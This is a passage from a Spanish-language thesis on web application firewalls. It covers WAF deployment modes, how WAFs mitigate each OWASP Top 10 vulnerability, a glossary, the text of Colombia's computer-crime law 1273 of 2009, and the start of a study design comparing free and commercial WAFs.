WAF: asegurar, monitorear, verificar y mejorar; este proceso continuo permite
garantizar una implementacion exitosa. Por otra parte, sugiere que antes de
realizar la conexién a la red de cualquier dispositivo se debe ejecutar pruebas de
hardening, junto con la instalacién del sistema operativo y parches mas recientes.

5 ComputerWeekly.com. How to deploy a Web application firewall (WAF)
[enlinea].<http://www.computerweekly.com/tip/How-to-deploy-a-Web-application-firewall-
WAF>[citado en 8 de noviembre de 2015].
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Ahora bien cuando se empieza la configuracion WAF, un aspecto a revisar son las
reglas del negocio definidas en la politica de seguridad, tales como permitir el uso
de determinados caracteres, longitud de contrasefias, entre otras, de esta forma la
configuracion del WAF puede ser creada a partir de estas definiciones. Probar
cuidadosamente, es esencial especialmente si el sitio web a proteger hace uso de
parametros que no se alinean con los estandares web, lo que incluye la revision
de cabeceras, URL o cookies. Pruebas adicionales deben ser permitidas si usan
versiones multilenguaje de una aplicacion, puesto que estas manejan diferentes
tipos de caracteres.

Las pruebas en los WAF deben ser lo mas parecidas a los ambientes productivos,
simulando situaciones de alta concurrencia y volumen de trafico y de esta forma
identificar los posibles cuellos de botella que se pueden llegar a generar a partir de
la implementacion de un WAF.

En el articulo Intrusion Detection FAQ: What is the difference betweenan IPS and
a Web Application Firewall?%— se hace una revision de las diferencias entre los IPS
y los WAF, ambos tipos de dispositivos se asemeja en que generalmente son
ubicados “in-line” y observan todo el trafico que fluye a través de ellos ademas
pueden ser dispositivos de red o aplicaciones cliente en los equipos terminales.
Pero la diferencia entre los dispositivos esta en la habilidad de analizar la I6gica de
los paquetes de las aplicaciones web, ya que los IPS interrogan el trafico contra
firmas y anomalias, mientras que el WAF evalla el comportamiento de lo que es
solicitado y retornado. Los WAF generalmente son implementados en modo de
proxy justo por delante de la aplicacion web, de esta forma ellos no observan todo
el trafico sobre nuestra red. Al monitorear el trafico antes de que este llegue a la
aplicacion web, el WAF puede analizar la solicitud antes de pasarla. Esto
representa una ventaja ante el IPS porque el IPS esta disefiado para analizar todo
el trafico de la red y no pueden analizar la aplicacién a fondo.

La ventaja mas importante es que los WAF no solo detectan ataques ya
conocidos, ellos también puede detectar atagues nuevos o desconocidos. Al
detectar patrones inusuales o inesperados en el trafico. Por ejemplo si un WAF
detecta que la aplicacion retorna mas informacion de la que es esperada, el WAF
puede bloquear y alertar la novedad.

6SANS. Intrusion Detection FAQ: What is the difference between an IPS and a Web Application
Firewall?[enlinea). <https://www.sans.org/security-resources/idfaq/ips-web-app-firewall.php>[citado
en 8 de noviembre de 2015].
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En el documento de Best Practices: Use of Web Application Firewalls” — Este
documento hace una revision de diferentes aspectos que se debe considerar al
momento de usar un WAF, algunos de los mas importantes y que tienen mas
relevancia con nuestro proyecto son:

e OWASP Top 10 usando WAF —En la tabla inferior el WAF es comparado
con el ToplO0 de las vulnerabilidades de OWASP e indica el trabajo
requerido para proteger la vulnerabilidad

Tabla 1 — OWASP aplicado a un Firewall de aplicaciones Web

TOP 10

Observaciones

Al. Cross-Site Scripting
(XSS)

El WAF no permite la validacion de salida en este caso,
dado que el no reconoce el contexto de los datos. La
validacion debe ser llevada a cabo durante la fase de
entrada y puede ser correlacionada con la salida.

A2. InjectionFlaws

WAF con lista negra: en principio el equipo solo podria
buscar por caracteres especificos y prevenir su
procesamiento. Pero, este modo tiene una desventaja
cuando se usan ataques de evasion de filtrado y no se
ha llevado a cabo una normalizacion de los parametros
de entrada. Aunque este modo trabaja bien con
ataques conocidos puede tener limitacion con
protocolos o desarrollos no conocidos por el WAF.

WAF con lista blanca: De este modo todas las entradas
estan contenidas en listado, ademas el WAF podria
sugerir otras entradas adicionales en campos
especificos durante la fase de aprendizaje. De esta
forma la mayoria de los campos de entrada pueden
estar protegidos contra los tipos de ataques por
inyeccion de cadigo.

A3. Malicious File
Execution

Realizar una lista blanca de los parametros permitidos
de URL externas al sistema. Ademas, se puede incluir
escaner externos a través del protocolo ICAP y analisis
de respuesta para prevenir la publicacion de datos
criticos.

A4. Insecure Direct Object
Reference

Proteger contra la manipulacion de ID usando
virtualizacion de ID o protegiendo parametros ocultos.

A5. Cross-site Request
Forgery (CSRF)

Puede ser prevenido usando token de pagina o cifrado
de la URL.

” DERMANN Maximiliam, DZIADZKA Mirko, HEMKEMEIER Boris, HOFFMANN Achim MEISEL
Alexander, ROHR Matthias, SCHREIBER Thomas. Best Practices: Use of Web Application
Firewalls [enlinea]. <https://www.owasp.org/images/b/b0/Best_Practices WAF_v105.en.pdf>[citado

en 8 de noviembre de 2015].
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A6.1 InformationLeakage

El WAF genera filtrado automatico de la informacion.
Generalmente los atacantes buscan archivos donde se
encuentra las contraserias.

A6.2 Improper Error
Handling

Dificil para detectar

A7.1 BrokenAuthentication

Depende de la habilidad del WAF, ya que se puede
llevar a cabo la autenticacion que un ente
independiente a la aplicaciobn sin requerir cambios
sobre la aplicacion.

A7. 2 Session Asegurar las sesiones inseguras, por ejemplo token de
Management paginas.

A8. InsecureCryptographic | Funcién no implementada en los WAF

Storage

A9. El WAF puede asegurar aplicacion que usan HTTPS

InsecureCommunitations

A10. Failure to Restrict
URL Access

El uso de token de pagina o cifrado de la URL puede
ser usado para restringir a los usuarios de recibir
aplicaciones como enlaces. El uso de listas blancas o
negras y especificar el tipo de extensiones que puede

ser permitidas.

Fuente: F5 Security on Owasp Top 108

4.2. MARCO TEORICO

4.2.1. Aspectos generales del WAF Los WAF son dispositivos o aplicaciones de
software que permiten analizar la comunicacién a nivel de la capa de aplicacion
para servicios HTTP o HTTPS, examinando todos los datos enviados por el
navegador del lado cliente hacia el servidor web. EI WAF por lo tanto tiene la
posibilidad de establecer politicas de seguridad con base en diferentes criterios
que incluyen: firmas de ataques conocidos, estandares de los protocolos vy
anomalias en el trafico de la aplicacion. De esta forma en el momento que el WAF
detecta un ataque, intento de intrusion o fuga de informacién, entonces bloquea el
trafico web descartando la peticion o respuesta HTTP evitando que los ataques
afecten a la aplicacion web o que informacion sensible sea enviada como
respuesta a potenciales usuarios maliciosos, de lo contrario si la solicitud es
legitima el WAF permitird que la comunicacion fluya®.

8 F5 Security on Owasp Top 10 [en linea).En <https://devcentral.f5.com/articles/f5-security-on-
owasp-top-10>

9 REVISTASEGURIDADDEFENSA DIGITAL. Firewall de Aplicacion Web — Parte Il [en linea].En
<http://revista.seguridad.unam.mx/numero-17/firewall-de-aplicaci%C3%B3n-web-parte-ii>[citado en
8 de noviembre de 2015].
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En su modo de implementacion los WAF pueden seguir un modelo de seguridad
positiva 0 negativa, de acuerdo con las politicas de seguridad que se establezcan
para cada aplicaciéon. Donde un modelo positivo solo permite pasar el trafico que
es conocido y el resto es bloqueado, mientras que el modelo negativo permite todo
el trafico e intenta bloquear lo detectado como malicioso

Ubicacion de un WAF en la red: Los WAF implementados mediante
dispositivo requieren ser ubicados en lugar donde todas las conexiones hacian
los servidores web pasen a través de él, los montajes pueden ser hechos “in-
line” donde todo el trafico fluye a través del WAF o “out of band” que con el
uso de un puerto en modo monitor puede copiar todo el trafico dirigido a los
servidores y redirigir al dispositivo WAF. Sin embargo,si la implementacion no
es hecha mediante un dispositivo, existen aplicaciones WAF las cuales son
instaladas en los servidores o clientes y procesan toda la informacion antes
gue llegue en dispositivo final.

Modos de Operacion de un WAF: Pueden operar en diferentes modos
dependiendo el fabricante del dispositivo, asi que es necesario verificar las
guias de configuracion para validar si el modo de operacion deseado es
soportado en el equipo adquirido. Cada modo ofrece ventajas y desventajas lo
cual requiere ser evaluado por cada organizacién para definir el modo mas
adecuado; en el documento de Beechy Jim se mencionan las cuatros formas
gue puede operar un WAF los cuales son:

o Proxy reverso — Este modo es el mas comun y con el mayor
beneficio en las implementaciones de WAF. Ubica el WAF “in-line” y
expone una direccion IP donde todas las conexiones dirigidas al
servidor terminan en el WAF, y luego el dispositivo reenvia la
informacion al servidor web en nombre del navegador origen. Este
modo presenta otro tipo de ventajas debido a su control sobre las
conexiones TCP, lo cual es provechoso para otras funcionalidades
como balanceo de carga, aceleracion de SSL, compresién o caching.

o Proxy transparente — Este modo ubica el WAF ‘“in-line” tal como lo
hace el proxy reverso, sin embargo el dispositivo no tiene una
direcciéon IP asignada. A nivel de red no requiere grandes cambios,
pero no puede proporcionar funcionalidades adicionales como el
proxy reverso.

o Monitoreo de red o fuera de banda —En este modo el WAF no esta
en linea y recibe el trafico a través de un puerto en modo monitor
configurado en un switch o conectado a hub. Este modo es ideal
para probar un WAF sin generar impacto en los servicios. Si es
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deseado el WAF podria realizar bloqueos de las conexiones al enviar
un reinicio a la conexion TCP.

o Basado en servidor o cliente — En este modo los WAF son
aplicaciones de software que se instalan en el servidor o cliente, no
pueden proporcionar ventajas adicionales a la conexion, pero tienen
como ventaja la posibilidad remover la funcionalidad de WAF sin
requerir cambios que afecten la infraestructura. Aunque una
desventaja de este tipo de soluciones son el incremente en el
consumo de los recursos debido a analisis requerido en los equipos
servidor o cliente?®.

4.2.2. Funcionamiento de una aplicacion web El ecosistema de las paginas
web es un mundo integral que habilita la posibilidad de tener entrega de servicios
y contenido de forma dinamica. Una aplicacion web consiste de un codigo sobre
un cliente y un servidor. En el lado del servidor, la aplicacion recibe las entradas
del usuario via solicitudes (Request HTTP) a través del navegador del cliente e
interactta con archivos locales del sistemas, base de datos u otros componentes
para acceder a informacién. La respuesta del servidor es enviada a través de la
pagina HTML por medio de un codigo de respuesta (HTTP Response). En el lado
del cliente, las paginas HTML son presentadas junto con el cédigo que se
encuentre embebido y ejecutado por el navegador web. En la Figura 2 estan los
componentes presentes en una aplicacion web.

Figura 2- Estructura de una aplicacion web

e .

Web Application
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E== el Rvendl IS
i , Flash, : L page, eg. PHF, J5P. I
S -

Runtime/Interpreter, e.g., IVM, Zend

Web browser Databasze

Web server

Client Side Server Side

Fuente: Articulo Web Page Access Model Study for Secure Execution and Prevention of Source
Code Theft of Web Pages?!!

10 Beechey Jim. Web Application Firewalls:Defense in Depth for Your Web Infrastructure[enlineal].
En <https://www.sans.edu/student-files/projects/200904_01.doc>[citado en 8 de noviembre de
2015].

11 SHAH Ishit, SHAH Nisha. Web Page Access Model Study for Secure Execution and Prevention
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e Estado de sesién HTTP es un protocolo no orientado al estado de una
sesion (en inglés, stateless), donde cada solicitud es independiente de la
otra. Pero, al implementar funcionalidades mas complejas tener una sesion
orientada al estado de la conexion (en inglés, statefull) es requerida, sin
embargo esta debe ser implementada en una infraestructura ya definida
como stateless. De esta forma, la abstraccion de las sesiones web es
adoptada para ayudar a la aplicacion a identificar y correlacionar una serie
de solicitudes web del mismo usuario durante un determinado lapso de
tiempo. El estado de una sesion web graba el histérico de solicitudes y
determina la futura ejecucion de la aplicacion web. Las sesiones puede ser
mantenidas del lado cliente a través de: una cookie, una forma oculta o la
reescritura de la URL o en el lado del servidor'?.

e Logica de la aplicaciéon La légica del negocio traza la funcionalidad de la
aplicacion web y cada aplicacion tiene una logica particular. La
funcionalidad se convierte en un control de la aplicacion que significa que la
aplicacion deberia ser ejecutada de la forma que fue disefiada por el
desarrollador

4.2.3. Vulnerabilidades y Vectores de atagues en aplicaciones web Una
aplicacién web segura tiene que garantizar determinas propiedades de seguridad
fijados en el modelo de amenazas (en inglés, Threat Model), en este modelo
usualmente es considerado lo siguiente:

e Las aplicaciones web debe ser benignas e implementadas en una
infraestructura confiable y endurecida, lo que incluye servidor web, sistema
operativo, intérprete, base computacional, etc.

e El atacante es capaz de manipular los contenidos o las secuencia de las
solicitudes enviadas a la aplicacion web, pero no puede comprometer
directamente la infraestructura o el codigo de la aplicacion. Las
vulnerabilidades dentro de la implementacion de la aplicacion web podrian
violar el nivel de seguridad permitir una ataque exitoso.

Cada aplicacion web en particular debe cumplir con las propiedades de seguridad
presentes en la Figura 3. La validacién de la entrada significa que cada entrada
hecha por el usuario debe ser validada antes que pueda ser utilizada por la
aplicacion web; la integridad del estado debe ser mantenida y no puede la
informacion de la sesién no puede ser manipulada; ademas la aplicacion debe
ejecutarse en la légica correcta.

of Source Code Theft of Web Pages. En: revista IOSR Journal of Computer Science (IOSR-JCE).
(2014). e-ISSN: 2278-0661, p-ISSN: 2278-8727
12 |bid.
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Figura 3- Propiedades de seguridad en aplicaciones web
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Fuente: El autor

4.2.4. Andlisis del TOP 10 de OWASP frente al WAF El objetivo del TOP 10 de
OWASP permite catalogar las vulnerabilidades mas presentes y criticas que estan
en las aplicaciones web, es un documento que se presenta cada 3 afios y su
version mas reciente data del 2013. OWASP evalGa las vulnerabilidades de
acuerdo a su modo de operacion, identifica la probabilidad de impacto en el

negocio y la posibilidad que se materialice.

Con el fin de realizar un acercamiento de las funcionalidades del WAF frente
OWASP, se realiza un revision del TOP 10 de OWASP de 2013 donde se revisan

los mecanismos que puede brindar un WAF
vulnerabilidades para el caso que aplique.

para mitigar o remediar estas

e Al Inyeccion Descripcion: Los ataques de inyecciones de SQL se
presentan cuando bases de datos y otros sistemas son vulnerables a que
se inyecten datos no confiables o maliciosos a través del sistema, estos
datos pueden filtrarse a los usuarios y potencialmente infectarlos con
malware. Las vulnerabilidades mas comunes se encuentran relacionadas

con:

Solicitudes de LDAP

Solicitudes de SQL

Solicitudes de XPath
Argumentos en los programas
Comandos de sistema operativo

0 O O O O

El impacto de este tipo de vulnerabilidades es severo ya que pueden
presentarse pérdida o corrupcion de la informacién y negacion del acceso?s.

13 DEFENCELY UNBREAKABLE. OWASP

TOP 10 [en lineal. En

<https://www.defencely.com/owasp>[citado en 13 de marzo de 2016].
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Proteccion: EI WAF realiza la inspeccion del trafico y bloquea la insercién
de scripts maliciosos. Lo hace mediante la deteccion de patrones de
inyeccién, haciendo cumplir el uso los metacaracteres especificos dentro de
la URI o en los parametros de la aplicacion!?,

e A2 Pérdida de autenticacion y gestién de sesiones Este tipo de ataques
buscan recuperar o robar las contrasefas, usuarios, detalles de una cuenta
u otra informacion de sesiones ya establecidas. Generalmente se presentan
cuando el atacante se hace pasar por alguien confiable mediante la
informacion que ya han recaudo de forma previa, al realizar esto el atacante
solicita informacién que puede permitir el robo de una cuenta, robo de
informacion, entre otros.

Algunas medidas que se pueden tener en cuenta para prevenir este tipo de
ataques, incluyen la expiraciébn de las sesiones, expiracion de inicio de
sesidon y demas estrategias que protejan la informacion del usuario.

Proteccion: El WAF previene a los atacantes de explotar una autenticacion
rota y manejo de sesiones. Ademas detiene ataques como secuestro de
sesiones, sesiones fijas 0 manipulacion de sesiones. Esto lo permite
mediante, el manejo de tiempos de expiracidén para los portales de ingreso,
monitoreo de los patrones empleados en las solicitudes, ademas de tener la
posibilidad de firmar las cookies asi las mismas no pueden ser manipuladas.

e A3 Secuencia de comandos en sitios cruzados (XSS) Esta
vulnerabilidad toma ventaja de problemas de seguridad en los navegadores
web y otro tipo de intérpretes en lugar de afectar el sitio mismo. Al igual que
la inyeccion de SQL, es dificil rastrear un XSS a una Unica fuente, puesto
gue en cualquier momento una vulnerabilidad o hueco de seguridad se
puede presentar.

Proteccién: El WAF protege contra ataques de XSS al validar patrones de
comportamiento, dando cumplimiento a uso preciso de determinados
metacaracteres dentro de la URI y los nombres de parametros. El WAF
también permite inspeccionar valores de parametros y hacer cumplir unos
valores predefinidos, longitudes y uso de los metacaracteres apropiados.

e A4 Referencia directa insegura a objetos Este tipo de vulnerabilidad
ocurre generalmente cuando los niveles de autenticacion no son
suficientemente verificados y el usuario puede ganar acceso hacia el

14 F5. F5 Security on Owasp Top 10 [en linea]. En <https://devcentral.f5.com/articles/f5-security-on-
owasp-top-10>[citado en 13 de marzo de 2016].
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sistema. En la mayoria de los casos esto pasa al ingresar al sistema y
tomar ventaja de vulnerabilidades para habilitar niveles de acceso
incorrectos.

Proteccion: EL WAF perfila la aplicacion para identificar y entender lo que
es el comportamiento esperado para cada elemento. Por ejemplo, saber
cudl es el tipo de entrada para permitir para cada campo de un formulario.

e A5 Configuracion de seguridad incorrecta Los atacantes quienes
quieren disfrazar su verdadera identidad u otra informacion personal a
menudo se apoyan en errores de configuraciones de seguridad. Este
involucra intentar accesos con cuentas por defecto, credenciales comunes,
directorios web desprotegidos o paginas sin uso.

Proteccion: EI WAF protege contra configuraciones inadecuadas a traves
del perfilamiento y entendimiento de las entradas normales. Ademas,
permite corregir problemas relacionados por errores del administrador con:
el sistema operativo, servidor web o de aplicacién, cédigo de aplicacion, ya
gue el dispositivo identifica patrones de vulnerabilidades conocidas en la
aplicacion.

e A6 Exposicion de datos sensibles Este evento requiere un planeacién
extensa, inicialmente puede perpetrarse con un hombre en el medio (en
inglés, MiTM) donde el atacante captura toda la informacion que dispone la
pagina web, con base en esto por ejemplo podria capturar la informacion de
la tarjeta de crédito de un usuario legitimo siempre y cuando la informacion
gue es intercambiada entre el cliente y el servidor no disponga de un cifrado
seguro.

Proteccién: El WAF mitiga la exposicién de datos sensibles al inspeccionar
el trafico saliente, en especial datos tales como numero de tarjetas y
numeros de seguridad social, y al detectar un exposicién de los datos el
WAF podria bloguearlo antes que la respuesta llegue al usuario final.

e A7 Inexistente control de acceso a nivel de funcionalidades La mayoria
de aplicaciones web verifican el nivel de acceso antes de hacer la
funcionalidad accesible al usuario, sin embargo, si ese control de acceso no
es verificado en el servidor, los atacantes van a ser capaces de penetrar la
aplicacion sin la respectiva autorizacion®®.

15 TutorialPoints. Security Testing - Missing Function Level Access Control [en linea]. <En
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Proteccion: EI WAF aplica diferentes niveles de control para prevenir
acceso no autorizado a las funciones de la aplicacion. A nivel de aplicacion,
el WAF usa un perfilamiento dinAmico que para aprender cuales URL o
funciones requieren un identificador valido de la sesion tal como una cookie.
Si una cookie no esta presente o si el usuario la ha manipulado, entonces el
WAF bloqueara la sesion.

El WAF también previene de forceful browsing que ocurre cuando un
atacante intenta acceder a URI ocultas o protegidas al enumerar los
diferentes archivos y directorios de la aplicacion web. EI WAF analiza la
pagina web en cuestion y asegura que los archivos y funciones sean
accedidos en el orden correcto. Otro control que ofrece el WAF es la
restriccion de ciertos archivos que solo pueden ser accedido por las IP
registradas.

e A8 Falsificacion de peticiones en sitios cruzados (CSRF) Un CSRF
obliga a un usuario autenticado, victima, a enviar una solicitud falsificada,
incluyendo la cookie de sesion de la victima a una aplicacion vulnerable lo
cual permite al atacante forzar al navegador de la victima a generar un
solicitud tal que la pagina vulnerable perciba como legitima la solicitud de la
victima.

Proteccion: el WAF mitiga este tipo de vulnerabilidad al adicionar un
apéndice a cada URL, esta adicion no puede ser adivinada por el atacante y
por lo tanto disminuye el riesgo de este tipo de ataque. Adicionalmente, los
WAF pueden manejar tiempos de expiracion de las sesiones y asi controlar
el tiempo que las sesiones se mantienen establecidas.

e A9 Uso de componentes con vulnerabilidades conocidas Ningun
paquete de software es perfecto, e incluso las organizaciones que
distribuyen esos componentes trabajan para hacer buenos y seguros sus
productos, sin embargo ellos son conscientes que los errores pasan.
Cuando se usan librerias externas en los proyectos es importante tener en
cuenta que se estd adquiriendo una buena funcionalidad, pero también se
estd abriendo la puerta para potenciales bugs o vulnerabilidades de
seguridad de dicho fabricante.

Para prevenir este tipo de inconvenientes es importante tomarse un tiempo
para analizar la documentacion de los componentes que se agregan,

http://www.tutorialspoint.com/security _testing/missing_function_level_access_control.htm>[citado
en 13 de marzo de 2016].
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4.3.

revisar foros y publicaciones acerca del componente. En la mayoria de los
casos los proveedores solucionan bastante rapido las vulnerabilidades, pero
también es requerido por parte de los administradores mantener al dia los
componentes®®.

Proteccion: Los WAF hacen uso de motores de correlacion de eventos,
donde se analizan eventos como inyecciones de SQL, XSS, deteccion de
violaciones al protocolo HTTP e identifica ataques de dia cero para explotar
vulnerabilidades. Por otra parte, algunos fabricantes de WAF, una vez una
nueva vulnerabilidad de es publicada se desarrolla una nueva firma o
conjunto de politicas que permitan remediarla de esta forma se ayudan a
minimizar los riesgos para las aplicaciones que no se les hagan las debidas
actualizaciones.

A10 Redirecciones y reenvios no validos La mayoria de aplicaciones
web frecuentemente redirigen o reenvia a los usuarios a otras paginas o
sitios externos, sin embargo, sin validar la credibilidad de la péagina los
atacantes pueden redirigir a sus victimas a sitios con malware o phishing, o
usar envios a paginas de acceso no autorizado.

Proteccion: Este tipo de atagues operan como un ataque de XSS a traves
de un enlace en un correo o foro, los WAF previenen este tipo de ataque al
validar el origen de la solicitud y determinar si es una fuente confiable o no.
Otros mecanismos de deteccion incluyen la deteccion de violaciones a nivel
del protocolo HTTP junto con inusuales caracteres como son; comas 0
diagonal adelante, de esta forma se puede relacionar alguna actividad
maliciosa.

MARCO CONCEPTUAL

CGl: La interfaz de entrada comun (en inglés) permite a un cliente solicitar
datos de un programa que se ejecuta en un servidor web. Esta
funcionalidad ha permitido crear contenidos dindmicos en las paginas web.

Cookies: Es informacion de las paginas web que se almacena de forma en
local en los navegadores del usuario, de tal forma que dicha informacion

16 CREDERA. Top 10 Web Security Risks: Using Components with Known Vulnerabilities (#9) [en
linea]. <En https://www.credera.com/blog/technology-insights/java/top-10-web-security-risks-using-
components-known-vulnerabilities-9/>[citado en 13 de marzo de 2016].
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pueda ser consultada posteriormente el servidor. Generalmente, son
usadas para almacenar informacion de autenticacion, de esta forma los
usuarios no deben no deben ingresar sus credenciales de manera
recurrente durante una sesion de trabajo.

Cross-site Scripting: Conocido también como XSS es una vulnerabilidad
presente en las paginas web, se presenta cuando los hackers envian
codigo malicioso a la aplicacibn web para obtener informacién de los
usuarios.

HTML: Es un lenguaje de programacion empleado para paginas web, se
basa en el uso de etiquetas que le permiten al navegador interpretar la
informacion y de esta forma se diferencia el contenido que es presentado.

IPS: Es un sistema de software que controla el acceso en la red ante
abusos o0 ataques computacionales, mediante el analisis del
comportamiento de las aplicaciones y las bases de firmas que dispone el
software de forma local.

Javascript: Es un lenguaje de programacion utilizado mayormente del lado
del cliente y permite mostrar contenidos dindmicos y con efectos al usuario,
estas opciones son configuradas dentro del codigo HTML e interpretadas
por el navegador localmente.

OWASP: Es un documento acerca de los riesgos de seguridad mas
presentes en las aplicaciones web, la lista es actualizada cada tres afios y
la més reciente fue entregada en el 2013. Tiene como finalidad generar
conciencia acerca de la seguridad en las aplicaciones a través de la
identificacion de los riesgos mas criticos en las compafias.

PCI-DSS: Es un estandar dirigido a las empresas de tarjetas de pago su
objetivo es presentar una guia que ayude a las organizaciones a procesatr,
almacenar o transmitir la informacién de los clientes de forma segura y de
esta forma minimizar los fraudes que se puedan generar por el robo o
manipulacion de los datos.

SQL Injection: Es una vulnerabilidad informatica a un atacante realizar
consultas a una base de datos, se aprovecha de un filtrado inadecuado por
parte del administrador de la informacion que puede ser ingresada por el
usuario. Esta técnica permite modificar o robar informacién de las bases de
datos de las aplicaciones web.
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e Vulnerabilidad informatica: Son puntos débiles de un sistema de
informacion que le permiten a un atacante comprometer la integridad,
disponibilidad o confidencialidad del sistema.

4.4. MARCO LEGAL

4.4.1. Ley De Delitos Informéaticos En Colombia'’
La Ley 1273 de 2009

Por medio de la cual se modifica el Cédigo Penal, se crea un nuevo bien juridico
tutelado - denominado "de la proteccion de la informacién y de los datos"- y se
preservan integralmente los sistemas que utilicen las tecnologias de la informacion
y las comunicaciones, entre otras disposiciones.

EL CONGRESO DE COLOMBIA
DECRETA:

Articulo 1°. Adicionase el Codigo Penal con un Titulo VII BIS denominado "De la
Proteccion de la informacion y de los datos”, del siguiente tenor:
CAPITULO. |

De los atentados contra la confidencialidad, la integridad y la disponibilidad
de los datos y de los sistemas informéaticos

- Articulo 269A: ACCESO ABUSIVO A UN SISTEMA INFORMATICO. El que, sin
autorizacion o por fuera de lo acordado, acceda en todo o en parte a un sistema
informatico protegido o no con una medida de seguridad, o se mantenga dentro
del mismo en contra de la voluntad de quien tenga el legitimo derecho a excluirlo,
incurrira en pena de prisién de cuarenta y ocho (48) a noventa y seis (96) meses y
en multa de 100 a 1000 salarios minimos legales mensuales vigentes.

- Articulo 269B: OBSTACULIZACION ILEGITIMA DE SISTEMA INFORMATICO O
RED DE TELECOMUNICACION. El que, sin estar facultado para ello, impida u
obstaculice el funcionamiento o el acceso normal a un sistema informético, a los
datos informaticos alli contenidos, o a una red de telecomunicaciones, incurrird en
pena de prision de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de
100 a 1000 salarios minimos legales mensuales vigentes, siempre que la conducta
no constituya delito sancionado con una pena mayor.

17 Ley colombiana No. 1273 de 2009 [en linea). <http://www.mintic.gov.co/portal/604/articles-
3705_documento.pdf>
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- Articulo 269C: INTERCEPTACION DE DATOS INFORMATICOS. El que, sin
orden judicial previa intercepte datos informaticos en su origen, destino o en el
interior de un sistema informatico, o las emisiones electromagnéticas provenientes
de un sistema informético que los trasporte incurriréd en pena de prision de treinta y
seis (36) a setenta y dos (72) meses.

- Articulo 269D: DANO INFORMATICO. El que, sin estar facultado para ello,
destruya, dafie, borre, deteriore, altere o suprima datos informaticos, o un sistema
de tratamiento de informacién o sus partes o0 componentes logicos, incurrira en
pena de prision de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de
100 a 1000 salarios minimos legales mensuales vigentes.

- Articulo 269F: VIOLACION DE DATOS PERSONALES. El que, sin estar
facultado para ello, con provecho propio o de un tercero, obtenga, compile,
sustraiga, ofrezca, venda, intercambie, envie, compre, intercepte, divulgue,
modifique o emplee cddigos personales, datos personales contenidos en ficheros,
archivos, bases de datos o medios semejantes, incurrira en pena de prision de
cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a 1000
salarios minimos legales mensuales vigentes.

Al respecto es importante aclarar que la Ley 1266 de 2008 definié el término dato
personal como “cualquier pieza de informacion vinculada a una o varias personas
determinadas o determinables o que puedan asociarse con una persona natural o
juridica”. Dicho articulo obliga a las empresas un especial cuidado en el manejo de
los datos personales de sus empleados, toda vez que la ley obliga a quien
“sustraiga” e “intercepte” dichos datos a pedir autorizacion al titular de los mismos.

- Articulo 269G: SUPLANTACION DE SITIOS WEB PARA CAPTURAR DATOS
PERSONALES. EI que con objeto ilicito y sin estar facultado para ello, disefe,
desarrolle, trafique, venda, ejecute, programe o envie paginas electronicas,
enlaces o ventanas emergentes, incurrird en pena de prision de cuarenta y ocho
(48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios minimos
legales mensuales vigentes, siempre que la conducta no constituya delito
sancionado con pena mas grave.

En la misma sancién incurrira el que modifique el sistema de resolucion de
nombres de dominio, de tal manera que haga entrar al usuario a una IP diferente
en la creencia de que acceda a su banco o a otro sitio personal o de confianza,
siempre gue la conducta no constituya delito sancionado con pena mas grave.

La pena sefialada en los dos incisos anteriores se agravara de una tercera parte a
la mitad, si para consumarlo el agente ha reclutado victimas en la cadena del
delito.

Articulo 269H: Circunstancias de agravacion punitiva: Las penas imponibles de
acuerdo con los articulos descritos en este titulo, se aumentaran de la mitad a las
tres cuartas partes si la conducta se cometiere:
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1. Sobre redes o sistemas informaticos o de comunicaciones estatales u
oficiales o del sector financiero, nacionales o extranjeros.

Por servidor publico en ejercicio de sus funciones.

Aprovechando la confianza depositada por el poseedor de la informacion o
por quien tuviere un vinculo contractual con este.

4. Revelando o dando a conocer el contenido de la informacién en perjuicio de
otro.

Obteniendo provecho para si o para un tercero.

Con fines terroristas 0 generando riesgo para la seguridad o defensa
nacional.

Utilizando como instrumento a un tercero de buena fe.

Si quien incurre en estas conductas es el responsable de la administracion,
manejo o control de dicha informacion, ademas se le impondra hasta por
tres afios, la pena de inhabilitacion para el ejercicio de profesion
relacionada con sistemas de informacion procesada con equipos
computacionales.

wn

o o

© N

CAPITULO. Il
De los atentados informaticos y otras infracciones

Articulo 269I: Hurto por medios informaticos y semejantes. El que, superando
medidas de seguridad informéaticas, realice la conducta sefialada en el articulo 239
manipulando un sistema informatico, una red de sistema electronico, telematico u
otro medio semejante, o suplantando a un usuario ante los sistemas de
autenticacion y de autorizacion establecidos, incurrira en las penas sefialadas en
el articulo 240 de este Codigo.

Articulo 269J: Transferencia no consentida de activos. El que, con animo de lucro
y valiéndose de alguna manipulacién informatica o artificio semejante, consiga la
transferencia no consentida de cualquier activo en perjuicio de un tercero, siempre
gue la conducta no constituya delito sancionado con pena mas grave, incurrird en
pena de prisién de cuarenta y ocho (48) a ciento veinte (120) meses y en multa de
200 a 1.500 salarios minimos legales mensuales vigentes. La misma sancion se le
impondra a quien fabrique, introduzca, posea o facilite programa de computador
destinado a la comision del delito descrito en el inciso anterior, o de una estafa.

Si la conducta descrita en los dos incisos anteriores tuviere una cuantia superior a
200 salarios minimos legales mensuales, la sancion alli sefialada se incrementara
en la mitad.

Articulo 2°. Adicionese al articulo 58 del Cédigo Penal con un numeral 17, asi:

Articulo 58. Circustancias de mayor punibilidad. Son circunstancias de mayor
punibilidad, siempre que no hayan sido previstas de otra manera:
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17. Cuando para la realizacion de las conductas punibles se utilicen medios
informéaticos, electrénicos o teleméaticos.

Articulo 3°. Adicionese al articulo 37 del Cédigo de Procedimiento Penal con un
numeral 6, asi:

Articulo 37. De los Jueces Municipales. Los jueces penales municipales conocen:

(..)

6. De los delitos contenidos en el titulo VII Bis.
Articulo 4°. La presente ley rige a partir de su promulgacion y deroga todas las

disposiciones que le sean contrarias, en especial el texto del articulo 195 del
Cadigo Penal.
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5. DISENO METODOLOGICO

5.1. TIPO DE ESTUDIO Y DISENO DE CONTRASTACION DE HIPOTESIS

Se realiz6 un tipo de estudio correlacional®®, ya que busca llevar a cabo analisis
comparativo de un WAF de libre distribucién ante uno comercial e identificar su
efectividad para proteger a los servidores web de las vulnerabilidades identificadas
en el TOP 10 de OWASP.

5.2. POBLACION, MUESTRA Y MUESTREO

La poblacion involucrada en este proyecto comprende cualquier tipo de aplicacion
web, independiente del propdsito de la misma, ya sea un: portal bancario en linea,
comercio electronico, portal de estudio, servicios médicos, etc.

La muestra se tomarda de las conexiones realizadas en la red prototipo.

El muestreo estard basado en los diferentes tipos de informacién que puede ser
modificada por cliente.

